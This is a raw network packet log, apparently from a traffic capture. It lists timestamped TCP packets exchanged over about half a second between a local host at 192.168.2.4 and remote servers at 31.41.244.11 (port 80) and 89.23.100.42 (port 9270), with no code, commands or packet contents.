Dec 15, 2024 11:59:30.289937019 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.290013075 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.290047884 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.291085958 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.291125059 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.291227102 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.291261911 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.292258978 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.292294979 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.292370081 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.292402983 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.293431997 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.293471098 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.293545961 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.293581963 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.294625044 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.294662952 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.294739962 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.294779062 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.295058966 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:30.295830011 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.295959949 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.295994043 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.296968937 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.297002077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.297061920 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.297091007 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.298202991 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.298465967 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.298505068 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.299352884 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.299422979 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.299453974 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.299499989 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.299937010 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:30.300544977 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.300582886 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.300657034 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.300689936 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.301757097 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.301790953 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.301846027 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.301879883 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.302869081 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.302972078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.303019047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.304045916 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.304085016 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.304184914 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.304220915 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.305191994 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.305228949 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.419702053 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:30.419826984 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:30.439639091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.439711094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.439734936 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.439768076 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.439990044 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.440028906 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.440052032 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.440124989 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.440716028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.440763950 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.440825939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.440856934 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.441925049 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.442028999 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.442075968 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.443065882 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.443104029 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.443200111 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.443229914 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.444233894 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.444276094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.444334984 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.444641113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.445483923 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.445503950 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.445542097 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.446638107 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.446677923 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.446731091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.446769953 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.447807074 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.447875977 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.447913885 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.448972940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.449028015 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.449048996 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.449064970 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.450300932 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.450344086 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.450390100 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.451308966 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.451363087 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.451380968 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.451416016 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.452465057 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.452502966 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.452563047 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.452605963 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.453661919 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.453831911 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.453850031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.453897953 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.454845905 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.454893112 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.454946041 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.455609083 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.455992937 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.456049919 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.456105947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.456618071 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.457180977 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.457312107 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.457350969 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.458383083 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.458435059 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.458457947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.458492041 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.459537029 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.459572077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.459650993 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.459712029 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.460726023 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.460782051 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.460846901 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.460884094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.461893082 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.462017059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.462038040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.462054968 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.463108063 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.463150024 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.463166952 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.463203907 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.464277029 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.464386940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.464425087 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.465430975 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.465481043 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.465523005 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.465558052 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.466617107 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.466675043 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.466720104 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.466754913 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.467796087 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.467834949 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.467900991 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.467933893 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.468975067 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.469017982 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.469033003 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.469069958 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.470191002 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.470225096 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.470282078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.470314980 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.471345901 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.471381903 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.471458912 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.471616983 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.472538948 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.472575903 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.472687006 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.472722054 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.473694086 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.473735094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.473799944 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.473836899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.474875927 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.474930048 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.474961042 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.474994898 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.476047039 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.476087093 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.476152897 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.476186991 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.477226019 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.477266073 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.477319002 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.477432013 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.478457928 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.478483915 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.478492975 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.478513002 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.479631901 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.479666948 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.479671955 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.479700089 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.480782032 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.480828047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.480956078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.481271029 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.481952906 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.481987000 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.482059956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.482203960 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.483134031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.483177900 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.483206034 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.483319998 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.484303951 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.484419107 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.484456062 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.485543013 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.485603094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.485652924 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.486215115 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.486664057 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.486793995 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.486830950 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.487869978 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.487905979 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.487982988 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.488068104 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.489048958 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.489085913 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.489175081 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.489214897 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.490227938 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.490266085 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.490367889 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.490406990 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.491404057 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.491449118 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.491528034 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.491564035 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.492682934 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.492722988 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.492789984 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.492978096 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.493746996 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.493786097 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.493953943 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.493988991 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.494923115 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.495042086 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.495086908 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.496118069 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.496165991 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.496233940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.496269941 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.497275114 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.497386932 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.497430086 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.498446941 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.498493910 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.498557091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.498723984 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.499639988 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.499687910 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.499902964 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.500080109 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.500803947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.500838995 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.500844955 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.500919104 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.500956059 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.539719105 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:30.541637897 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:30.633753061 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.633768082 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.633816004 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.634272099 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.634306908 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.634375095 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.634409904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.635405064 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.635442019 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.635838032 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.635873079 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.636001110 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.636035919 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.637033939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.637067080 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.637124062 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.637157917 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.638215065 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.638263941 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.638299942 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.639394045 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.639436007 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.639493942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.639527082 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.640568972 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.640604973 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.640634060 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.640669107 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.641752958 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.641843081 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.641882896 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.642894030 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.642929077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.642997026 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.643038034 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.644052029 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.644088030 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.644182920 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.644226074 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.645257950 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.645297050 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.645407915 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.645443916 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.646469116 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.646512985 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.646590948 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.646625042 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.647620916 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.647658110 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.647928953 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.647974968 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.649328947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.649370909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.649424076 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.649455070 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.650007963 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.650115967 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.650151968 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.651133060 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.651180029 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.651278019 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.651309013 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.652326107 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.652360916 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.652424097 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.652455091 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.653454065 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.653595924 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.653930902 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.654653072 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.654694080 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.654820919 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.654855967 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.655817986 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.655869007 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.655890942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.655925989 CET	49805	80	192.168.2.4	31.41.244.11
